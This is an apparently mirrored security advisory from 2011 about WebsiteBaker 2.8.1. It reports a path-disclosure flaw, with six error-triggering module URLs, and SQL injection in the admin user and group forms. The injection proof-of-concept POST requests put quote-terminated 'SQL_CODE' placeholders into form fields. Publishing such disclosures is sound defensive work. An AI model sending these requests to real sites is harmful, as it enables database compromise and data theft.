Lucene search
K

WebsiteBaker 2.8.1 Path Disclosure / SQL Injection

🗓️ 12 Apr 2011 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

WebsiteBaker 2.8.1 Path Disclosure / SQL Injection vulnerability detail

Code
`===================================  
Vulnerability ID: HTB22929  
Reference: http://www.htbridge.ch/advisory/multiple_path_disclosure_in_websitebaker.html  
Product: WebsiteBaker  
Vendor: Website Baker Org ( http://www.websitebaker2.org/ )   
Vulnerable Version: 2.8.1  
Vendor Notification: 29 March 2011   
Vulnerability Type: Path disclosure  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in "/modules/" scripts, it's possible to generate an error that will reveal the full path of the script.  
A remote user can determine the full path to the web root directory and other potentially sensitive information.  
  
The following PoC is available:  
  
[code]  
http://[host]/modules/code/add.php  
http://[host]/modules/code/delete.php  
http://[host]/modules/code/modify.php  
http://[host]/modules/code/view.php  
http://[host]/modules/form/add.php  
http://[host]/modules/form/delete.php  
[/code]  
  
===================================  
Vulnerability ID: HTB22928  
Reference: http://www.htbridge.ch/advisory/multiple_sql_injections_in_websitebaker.html  
Product: WebsiteBaker  
Vendor: Website Baker Org ( http://www.websitebaker2.org/ )   
Vulnerable Version: 2.8.1  
Vendor Notification: 29 March 2011   
Vulnerability Type: SQL Injection  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/admin/users/add.php" script to properly sanitize user-supplied input.   
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
The following PoC is available:  
  
[code]  
POST /admin/users/add.php HTTP/1.1  
  
user_id=&username_fieldname=username_1hnuvyv2&username_1hnuvyv2=test&password=password&password2=password&display_name=test&email=test%40test.com&home_folder=123'SQL_CODE&groups%5B%5D=123'SQL_CODE&active%5B%5D=1&submit=Add  
[/code]  
  
The vulnerability exists due to failure in the "/admin/groups/add.php" script to properly sanitize user-supplied input.   
The following PoC is available:  
  
[code]  
POST /admin/groups/add.php HTTP/1.1  
  
advanced=no&group_id=&group_name=123%27SQL_CODE_HERE&module_permissions%5B%5D=code&module_permissions%5B%5D=form&module_permissions%5B%5D=menu_link&module_permissions%5B%5D=news&module_permissions%5B%5D=wrapper&module_permissions%5B%5D=wysiwyg&template_permissions%5B%5D=allcss&template_permissions%5B%5D=argos_theme&template_permissions%5B%5D=blank&template_permissions%5B%5D=classic_theme&template_permissions%5B%5D=round&template_permissions%5B%5D=simple&template_permissions%5B%5D=wb_theme&submit=Add  
[/code]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation